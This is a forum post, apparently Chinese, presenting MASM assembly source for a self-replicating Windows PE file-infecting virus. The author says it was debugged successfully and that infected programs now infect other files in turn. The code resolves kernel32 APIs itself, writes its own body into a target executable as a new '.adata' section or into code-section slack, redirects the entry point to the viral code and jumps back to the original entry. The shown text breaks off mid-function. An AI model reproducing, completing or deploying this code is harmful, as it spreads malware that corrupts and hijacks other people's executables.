亲自修改pe病毒加强版,感染后的文件可取代母体

亲自修改pe病毒加强版,感染后的文件可取代母体,上一个版本的只是在感染文件的最后添加一个节,让它入口点为这个节的代码newentry,但是感染后的病毒文件不能继续感染其他文件(也就是代替母体),这次通过在host感染节找到kenerl32.dll里面的api,实现母体一样的功能,也就是它也能感染,就是把这个感染节添加到目标感染文件,并对其修改入口点,.....也就是连环感染,附上代码,已调试成功



;


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 被添加到目标文件中的代码从这里开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


APPEND_CODE equ this byte
_bdstart:
include _GetKernel.asm
;********************************************************************


_Getpsfl proc _lpFile,_lpPeHead,_dwSize,szFileName1
local @szNewFile[MAX_PATH]:byte
local @hFile,@dwTemp,@dwEntry,@lpMemory
local @dwAddCodeBase,@dwAddCodeFile
local @szBuffer[256]:byte
LOCAL @dwReturn
local @ebx :dword
LOCAL @fstart,@fend,@currentfile,@subtoint,@imgbase,@towrite
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
push ebx
;mov @ebx ,ebx
pop @ebx
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _Ret]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp

;********************************************************************


        ;********************************************************************
; (Part 1)准备工作:1-建立新文件,2-打开文件
;********************************************************************

; lea ecx,@szNewFile
; mov byte ptr [ecx+eax-4],0
;invoke lstrcat,addr @szNewFile,addr szExt
                ;invoke CopyFile,addr szFileName,addr @szNewFile,FALSE
                mov ecx ,@ebx
invoke [ecx+_CreateFileA], addr [ecx+currentfilename] ,GENERIC_READ ,FILE_SHARE_READ ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax != INVALID_HANDLE_VALUE
mov edi,eax


   mov ebx ,@ebx
invoke [ebx+_CreateFileMappingA],edi,NULL,PAGE_READONLY,0,0,NULL
.if eax
   mov ecx ,@ebx
invoke [ebx+_MapViewOfFile],eax,FILE_MAP_READ,0,0,0
.if eax
mov @currentfile,eax
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************

;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
mov esi,eax
assume esi:ptr IMAGE_DOS_HEADER
.if [esi].e_magic != IMAGE_DOS_SIGNATURE
jmp _Ret
.endif
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _Ret
.endif
mov eax ,[esi].OptionalHeader.ImageBase
mov @imgbase ,eax
movzx eax,[esi].FileHeader.NumberOfSections

dec eax
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx
                 add esi,eax
                 add esi ,sizeof IMAGE_NT_HEADERS
assume esi :ptr IMAGE_SECTION_HEADER,esi:ptr IMAGE_SECTION_HEADER
mov eax,[esi].VirtualAddress
mov @fstart ,eax
add eax,@imgbase
mov @towrite,eax
mov ebx,[esi].VirtualAddress
add ebx ,[esi].Misc.VirtualSize
mov @fend ,ebx
.endif
;invoke [ebx+_CloseHandle], @currentfile
.endif
.endif
;********************************************************************
;mov @hFile,eax
                mov ecx ,@ebx
invoke [ecx+_CreateFileA], szFileName1,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax == INVALID_HANDLE_VALUE
;invoke SetWindowText,hWinEdit,addr szErrCreate
jmp _Ret
.endif
mov @hFile,eax
;********************************************************************
;(Part 2)进行一些准备工作和检测工作
; esi --> 原PeHead,edi --> 新的PeHead
; edx --> 最后一个节表,ebx --> 新加的节表
;********************************************************************
mov esi,_lpPeHead
assume esi:ptr IMAGE_NT_HEADERS,edi:ptr IMAGE_NT_HEADERS
xor ecx,ecx
  mov ecx ,@ebx
invoke [ecx+_GlobalAlloc],GPTR,[esi].OptionalHeader.SizeOfHeaders
mov @lpMemory,eax
mov edi,eax
xor ecx,ecx
  mov ecx ,@ebx
invoke [ecx+_RtlMoveMemory],edi,_lpFile,[esi].OptionalHeader.SizeOfHeaders
add edi,esi
sub edi,_lpFile
             ;    mov  edi ,esi
movzx eax,[esi].FileHeader.NumberOfSections
dec eax
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx


mov edx,edi
add edx,eax
add edx,sizeof IMAGE_NT_HEADERS
mov ebx,edx
add ebx,sizeof IMAGE_SECTION_HEADER
assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; (Part 2.1)检查是否有空闲的位置可供插入节表
;********************************************************************
pushad
mov edi,ebx
xor eax,eax
mov ecx,IMAGE_SECTION_HEADER
repz scasb
popad
.if ! ZERO?
;********************************************************************
; (Part 3.1)如果没有新的节表空间的话,则查看现存代码节的最后
; 是否存在足够的全零空间,如果存在则在此处加入代码
;********************************************************************
xor eax,eax
mov ebx,edi
add ebx,sizeof IMAGE_NT_HEADERS
.while ax <= [esi].FileHeader.NumberOfSections
mov ecx,[ebx].SizeOfRawData
.if ecx && ([ebx].Characteristics & IMAGE_SCN_MEM_EXECUTE)
sub ecx,[ebx].Misc.VirtualSize
.if ecx > offset APPEND_CODE_END-offset APPEND_CODE
or [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
jmp @F
.endif
.endif
add ebx,IMAGE_SECTION_HEADER
inc ax
.endw
      mov ecx ,@ebx
invoke [ecx+_CloseHandle],@hFile
;invoke DeleteFile,addr @szNewFile
;invoke SetWindowText,hWinEdit,addr szErrNoRoom
jmp _Ret
@@:
;********************************************************************
; 将新增代码加入代码节的空隙中
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,[ebx].Misc.VirtualSize
mov @dwAddCodeBase,eax
mov eax,[ebx].PointerToRawData
add eax,[ebx].Misc.VirtualSize
mov @dwAddCodeFile,eax
add [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
mov edx ,@ebx
invoke [edx+_SetFilePointer],@hFile,@dwAddCodeFile,NULL,FILE_BEGIN
mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
mov edx ,@ebx
invoke [edx+_WriteFile],@hFile,offset APPEND_CODE, ecx,addr @dwTemp,NULL
.else
;********************************************************************
; (Part 3.2)如果有新的节表空间的话,加入一个新的节
;********************************************************************
inc [edi].FileHeader.NumberOfSections
push edx
@@:
mov eax,[edx].PointerToRawData
;********************************************************************
; 当最后一个节是未初始化数据时,PointerToRawData和SizeOfRawData等于0
; 这时应该取前一个节的PointerToRawData和SizeOfRawData数据
;********************************************************************
.if ! eax
sub edx,sizeof IMAGE_SECTION_HEADER
jmp @B
.endif
add eax,[edx].SizeOfRawData
pop edx
mov [ebx].PointerToRawData,eax
mov     ecx ,@fend
mov eax ,@fstart
sub ecx,eax
;mov @subtoint,ecx
; lea ecx,[@fend - @fstart]
invoke _Align,ecx,[esi].OptionalHeader.FileAlignment
mov [ebx].SizeOfRawData,eax
invoke _Align,ecx,[esi].OptionalHeader.SectionAlignment
add [edi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode
add [edi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage
invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
add eax,[edx].VirtualAddress
mov [ebx].VirtualAddress,eax
mov [ebx].PointerToRawData,eax
mov     ecx ,@fend
mov eax ,@fstart
sub ecx,eax
mov [ebx].Misc.VirtualSize, ecx
mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
mov ecx ,@ebx
invoke [ecx+_lstrcpy],addr [ebx].Name1,addr [ecx+szMySection]
;********************************************************************
; 将新增代码作为一个新的节写到文件尾部
;********************************************************************
                        mov ecx ,@ebx
invoke [ecx+_SetFilePointer],@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN

mov ecx ,@ebx

invoke [ecx+_WriteFile],@hFile,@towrite,[ebx].Misc.VirtualSize,\
addr @dwTemp,NULL
mov eax,[ebx].PointerToRawData
add eax,[ebx].SizeOfRawData
mov ecx ,@ebx
invoke [ecx+_SetFilePointer],@hFile,eax,NULL,FILE_BEGIN
 mov ecx ,@ebx
invoke [ecx+_SetEndOfFile],@hFile
;********************************************************************
push [ebx].VirtualAddress ;eax = 新加代码的基地址
pop @dwAddCodeBase
push [ebx].PointerToRawData
pop @dwAddCodeFile
.endif
;********************************************************************
; (Part 4)修正文件入口指针并写入新的文件头
;********************************************************************
mov eax,@dwAddCodeBase
add eax,(offset _NewEntry-offset _bdstart)
mov     ebx,[esi].OptionalHeader.AddressOfEntryPoint
mov [edi].OptionalHeader.AddressOfEntryPoint,eax
mov ecx ,@ebx
invoke [ecx+_SetFilePointer],@hFile,0,NULL,FILE_BEGIN
mov ecx ,@ebx
invoke [ecx+_WriteFile],@hFile,@lpMemory,[esi].OptionalHeader.SizeOfHeaders,\
addr @dwTemp,NULL
;********************************************************************
; (Part 5)修正新加代码中的 Jmp oldEntry 指令
;********************************************************************
; push [esi].OptionalHeader.AddressOfEntryPoint
       push ebx
         pop @dwEntry
mov eax,@dwAddCodeBase
add eax,(offset _ToOldEntry-offset _bdstart+5)
sub @dwEntry,eax
mov ecx,@dwAddCodeFile
add ecx,(offset _dwOldEntry-offset _bdstart)
mov edx ,@ebx
invoke [edx+_SetFilePointer],@hFile,ecx,NULL,FILE_BEGIN
mov edx ,@ebx
invoke [edx+_WriteFile],@hFile,addr @dwEntry,4,addr @dwTemp,NULL
;********************************************************************
; (Part 6)关闭文件
;********************************************************************
                mov ecx ,@ebx
invoke [ ecx +_GlobalFree],@lpMemory
   mov ecx ,@ebx
invoke [ ecx +_CloseHandle],@hFile
;invoke wsprintf,addr @szBuffer,Addr szSuccess,szFileName1
;invoke MessageBox,NULL,addr @szBuffer,offset szCaption,MB_OK

;invoke SetWindowText,hWinEdit,addr @szBuffer




mov @dwReturn,eax

;********************************************************************
_Ret:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret


_Getpsfl endp
;********************************************************************
;********************************************************************
_Goprocs proc @szFileName2
local @hFile,@dwFileSize,@hMapFile,@lpMemory,@dwReturn
                
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B

;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _PageError]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp

;********************************************************************


      
;********************************************************************
; 打开文件并建立文件 Mapping
;********************************************************************
               
invoke [ebx+_CreateFileA],@szFileName2,GENERIC_READ,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax != INVALID_HANDLE_VALUE
mov @hFile,eax
invoke [ebx+_GetFileSize],eax,NULL
mov @dwFileSize,eax
.if eax

invoke [ebx+_CreateFileMappingA],@hFile,NULL,PAGE_READONLY,0,0,NULL
.if eax
mov @hMapFile,eax
invoke [ebx+_MapViewOfFile],eax,FILE_MAP_READ,0,0,0
.if eax
mov @lpMemory,eax
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************

;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
mov esi,@lpMemory
assume esi:ptr IMAGE_DOS_HEADER
.if [esi].e_magic != IMAGE_DOS_SIGNATURE
jmp _ErrFormat
.endif
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _ErrFormat
.endif

invoke _Getpsfl,@lpMemory,esi,@dwFileSize, @szFileName2
;invoke [ebx+_MessageBox],NULL, @szFileName2,offset szCaption,MB_OK
jmp _ErrorExit
_ErrFormat:
invoke [ebx+_MessageBox],NULL,addr szErrFormat,NULL,MB_OK
_ErrorExit:

invoke [ebx+_UnmapViewOfFile],@lpMemory
.endif
invoke [ebx+_CloseHandle],@hMapFile
.endif
invoke [ebx+_CloseHandle],@hFile
.endif
.endif
;;ret
          mov @dwReturn ,1
;********************************************************************
_PageError:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret


_Goprocs endp
;********************************************************************
_NewEntry:


call @F
@@:
pop ebx
sub ebx,offset @B
invoke _GetKernelBase,[esp] ;获取Kernel32.dll基址
.if ! eax
ret
.endif
mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
.if ! eax
ret
.endif
mov [ebx+_GetProcAddress],eax
lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_LoadLibrary],eax
lea eax,[ebx+szUser32] ;获取User32.dll基址
invoke [ebx+_LoadLibrary],eax
mov [ebx+hDllUser32],eax
lea eax,[ebx+szRtlMoveMemory   ]

;invoke _Getfunc,[ebx+hDllKernel32],dword ptr[ebx+szRtlMoveMemory   ]
invoke _Getfunck,eax
mov [ebx+_RtlMoveMemory ],eax
lea eax,[ebx+szCreateFileA ] ;找creatfile
invoke _Getfunck,eax
mov [ebx+_CreateFileA ],eax
lea eax,[ebx+szGlobalAlloc]
invoke _Getfunck,eax
mov [ebx+_GlobalAlloc ],eax
lea eax,[ebx+szSetFilePointer]
invoke _Getfunck,eax
mov [ebx+_SetFilePointer ],eax
lea eax,[ebx+szWriteFile]
invoke _Getfunck,eax
mov [ebx+_WriteFile ],eax
lea eax,[ebx+szSetEndOfFile]
invoke _Getfunck,eax
mov [ebx+_SetEndOfFile],eax
lea eax,[ebx+szGlobalFree]
invoke _Getfunck,eax
mov [ebx+_GlobalFree ],eax
lea eax,[ebx+szCloseHandle ]
invoke _Getfunck,eax
mov [ebx+_CloseHandle  ],eax
lea eax,[ebx+szGetFileSize]
invoke _Getfunck,eax
mov [ebx+_GetFileSize ],eax
lea eax,[ebx+szMapViewOfFile]
invoke _Getfunck,eax
mov [ebx+_MapViewOfFile ],eax
lea eax,[ebx+szUnmapViewOfFile]
invoke _Getfunck,eax
mov [ebx+_UnmapViewOfFile],eax



lea eax,[ebx+szCreateFileMappingA] ;找szCreateFileMappingA
invoke _Getfunck,eax
mov [ebx+_CreateFileMappingA ],eax
lea eax,[ebx+szlstrcpy] ;找szlstrcpy
invoke _Getfunck,eax
mov [ebx+_lstrcpy ],eax
invoke [ebx+_lstrcpy ],addr [ebx+ szText],addr [ebx+szText2]
lea eax,[ebx+szMessageBox] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_MessageBox],eax
   
invoke _Goprocs,addr [ebx+cpan]
.if eax == 1
lea ecx,[ebx+szText]
lea eax,[ebx+szCaption]
invoke [ebx+_MessageBox],NULL,ecx,eax,MB_YESNO or MB_ICONQUESTION
.if eax != IDYES
ret
.endif
.endif



_ToOldEntry:
db 0e9h ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
dd ? ;用来填入原来的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END equ this byte

第二个文件

; 公用模块:_GetKernel.asm
; 根据程序被调用的时候堆栈中有个用于 Ret 的地址指向 Kernel32.dll
; 而从内存中扫描并获取 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>




;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProtoGetProcAddress typedef proto :dword,:dword
_ProtoLoadLibrary typedef proto :dword
_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword 
_Protolstrcpy          typedef proto :dword,:dword
_ProtolCreateFileA      typedef proto :dword,:dword,:dword,:dword,:dword ,:dword,:dword
_ProtolCreateFileMappingA    typedef proto :dword,:dword,:dword,:dword ,:dword,:dword
  _ProtolRtlMoveMemory      typedef proto :dword,:dword,:dword
   _ProtolGlobalAlloc     typedef proto :dword,:dword
     _ProtolSetFilePointer  typedef proto :dword,:dword,:dword ,:dword
     _ProtolWriteFile    typedef proto :dword,:dword,:dword ,:dword,:dword
      _ProtolSetEndOfFile  typedef proto :dword
      _ProtolGlobalFree   typedef proto :dword
      _ProtolCloseHandle typedef proto :dword
      _ProtolGetFileSize  typedef proto :dword,:dword
      _ProtoMapViewOfFile typedef proto :dword,:dword,:dword ,:dword,:dword
      _ProtoUnmapViewOfFile  typedef proto :dword
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary
_ApiMessageBox typedef ptr _ProtoMessageBox
 _Apilstrcpy            typedef ptr     _Protolstrcpy  
 _ApiCreateFileA        typedef ptr     _ProtolCreateFileA
 _ApiCreateFileMappingA  typedef ptr     _ProtolCreateFileMappingA
  _ApiRtlMoveMemory      typedef ptr         _ProtolRtlMoveMemory
  _ApiGlobalAlloc typedef ptr         _ProtolGlobalAlloc
  _ApiSetFilePointer        typedef ptr         _ProtolSetFilePointer
  _ApiWriteFile  typedef ptr         _ProtolWriteFile
  _ApiSetEndOfFile typedef ptr         _ProtolSetEndOfFile
  _ApiGlobalFree     typedef ptr         _ProtolGlobalFree
  _ApiCloseHandle    typedef ptr         _ProtolCloseHandle
  _ApiGetFileSize  typedef ptr         _ProtolGetFileSize
  _ApiMapViewOfFile  typedef ptr         _ProtoMapViewOfFile
 _ApiUnmapViewOfFile  typedef ptr         _ProtoUnmapViewOfFile
 hDllKernel32 dd ?
hDllUser32 dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary ?
_MessageBox _ApiMessageBox ?
_lstrcpy         _Apilstrcpy           ?
_CreateFileA     _ApiCreateFileA   ?
_CreateFileMappingA   _ApiCreateFileMappingA ?
_RtlMoveMemory     _ApiRtlMoveMemory ?
_GlobalAlloc      _ApiGlobalAlloc ?
_SetFilePointer   _ApiSetFilePointer ?
_WriteFile      _ApiWriteFile ?
_SetEndOfFile   _ApiSetEndOfFile ?
_GlobalFree    _ApiGlobalFree ?
_CloseHandle    _ApiCloseHandle ?
_GetFileSize   _ApiGetFileSize ?
_MapViewOfFile  _ApiMapViewOfFile ?
_UnmapViewOfFile _ApiUnmapViewOfFile ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szUser32 db 'user32',0
szMessageBox db 'MessageBoxA',0
szlstrcpy db 'lstrcpyA',0
szCaption db '中毒',0
szText db '5555aaaa',0
szText2 db '3333aaaa',0
szCreateFileMappingA      db 'CreateFileMappingA',0 
szRtlMoveMemory          db 'RtlMoveMemory',0
szGlobalAlloc        db 'GlobalAlloc',0
szSetFilePointer   db 'SetFilePointer',0
szWriteFile   db 'WriteFile',0
szSetEndOfFile  db 'SetEndOfFile',0
szGlobalFree   db 'GlobalFree',0
szCloseHandle db 'CloseHandle',0
szGetFileSize db 'GetFileSize',0
szMapViewOfFile db 'MapViewOfFile',0
szErrFormat db 'proccessfileerror',0
szUnmapViewOfFile db 'UnmapViewOfFile',0
szCreateFileA   db 'CreateFileA',0
  cpan               db 'F:\asm\wl.exe',0
  currentfilename   db 'F:\ijfl\wl.exe',0
  szErrCreate db '创建文件错误!',0dh,0ah,0
szErrNoRoom db '程序中没有多余的空间可供加入代码!',0dh,0ah,0
szMySection db '.adata',0
szExt db '_new.exe',0
szSuccess db '在文件后附加代码成功,新文件:',0dh,0ah
db '%s',0dh,0ah,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 错误 Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler proc C _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext


pushad
mov esi,_lpExceptionRecord
mov edi,_lpContext
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
mov eax,_lpSEH
push [eax + 0ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi:nothing,edi:nothing
popad
mov eax,ExceptionContinueExecution
ret


_SEHHandler endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 计算按照指定值对齐后的数值
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Align proc _dwSize,_dwAlign


push edx
mov eax,_dwSize
xor edx,edx
div _dwAlign
.if edx
inc eax
.endif
mul _dwAlign
pop edx
ret


_Align endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


_GetKernelBase proc _dwKernelRet
local @dwReturn


pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _PageError]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 查找 Kernel32.dll 的基地址
;********************************************************************
mov edi,_dwKernelRet
and edi,0ffff0000h
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi,edi
add esi,[esi+003ch]
.if word ptr [esi] == IMAGE_NT_SIGNATURE
mov @dwReturn,edi
.break
.endif
.endif
_PageError:
sub edi,010000h
.break .if edi < 070000000h
.endw
pop fs:[0]
add esp,0ch
popad
mov eax,@dwReturn
ret


_GetKernelBase endp
;********************************************************************


;********************************************************************
_Getfunck proc _hModule
local @dwReturn


pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B

;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _PageError]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp

;********************************************************************


         invoke [ebx+_GetProcAddress],[ebx+hDllKernel32], _hModule
mov @dwReturn,eax

;********************************************************************
_PageError:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret


_Getfunck endp


;********************************************************************
_Getfuncu proc _hModule
local @dwReturn


pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B

;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _PageError]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp

;********************************************************************


         invoke [ebx+_GetProcAddress],[ebx+hDllUser32],_hModule
mov @dwReturn,eax

;********************************************************************
_PageError:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret


_Getfuncu endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi proc _hModule,_lpszApi
local @dwReturn,@dwStringLength


pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _Error]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
mov edi,_lpszApi
mov ecx,-1
xor al,al
cld
repnz scasb
mov ecx,edi
sub ecx,_lpszApi
mov @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
mov esi,_hModule
add esi,[esi + 3ch]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,_hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
mov ebx,[esi].AddressOfNames
add ebx,_hModule
xor edx,edx
.repeat
push esi
mov edi,dword ptr[ebx]
add edi,_hModule
mov esi,_lpszApi
mov ecx,@dwStringLength
repz cmpsb
.if ZERO?
pop esi
jmp @F
.endif
pop esi
add ebx,4
inc edx
.until edx >= [esi].NumberOfNames
jmp _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
sub ebx,[esi].AddressOfNames
sub ebx,_hModule
shr ebx,1
add ebx,[esi].AddressOfNameOrdinals
add ebx,_hModule
movzx eax,word ptr [ebx]
shl eax,2
add eax,[esi].AddressOfFunctions
add eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
mov eax,[eax]
add eax,_hModule
mov @dwReturn,eax
_Error:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret


_GetApi endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

母体感染功能

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Sample code for < Win32ASM Programming 3rd Edition>
; by 罗云彬, http://www.win32asm.com.cn
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; AddCode 例子的功能模块
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const


.code


include _AddCode.asm


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 计算按照指定值对齐后的数值
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;_Align proc _dwSize,_dwAlign
;
; push edx
; mov eax,_dwSize
; xor edx,edx
; div _dwAlign
; .if edx
; inc eax
; .endif
; mul _dwAlign
; pop edx
; ret
;
;_Align endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcessPeFile proc _lpFile,_lpPeHead,_dwSize,szFileName1
local @szNewFile[MAX_PATH]:byte
local @hFile,@dwTemp,@dwEntry,@lpMemory
local @dwAddCodeBase,@dwAddCodeFile
local @szBuffer[256]:byte


pushad
;********************************************************************
; (Part 1)准备工作:1-建立新文件,2-打开文件
;********************************************************************
invoke lstrcpy,addr @szNewFile,addr szFileName
invoke lstrlen,addr @szNewFile
lea ecx,@szNewFile
mov byte ptr [ecx+eax-4],0
;invoke lstrcat,addr @szNewFile,addr szExt
                ;invoke CopyFile,addr szFileName,addr @szNewFile,FALSE


invoke CreateFile, szFileName1,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax == INVALID_HANDLE_VALUE
;invoke SetWindowText,hWinEdit,addr szErrCreate
jmp _Ret
.endif
mov @hFile,eax
;********************************************************************
;(Part 2)进行一些准备工作和检测工作
; esi --> 原PeHead,edi --> 新的PeHead
; edx --> 最后一个节表,ebx --> 新加的节表
;********************************************************************
mov esi,_lpPeHead
assume esi:ptr IMAGE_NT_HEADERS,edi:ptr IMAGE_NT_HEADERS
invoke GlobalAlloc,GPTR,[esi].OptionalHeader.SizeOfHeaders
mov @lpMemory,eax
mov edi,eax
invoke RtlMoveMemory,edi,_lpFile,[esi].OptionalHeader.SizeOfHeaders
add edi,esi
sub edi,_lpFile
             ;    mov  edi ,esi
movzx eax,[esi].FileHeader.NumberOfSections
dec eax
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx


mov edx,edi
add edx,eax
add edx,sizeof IMAGE_NT_HEADERS
mov ebx,edx
add ebx,sizeof IMAGE_SECTION_HEADER
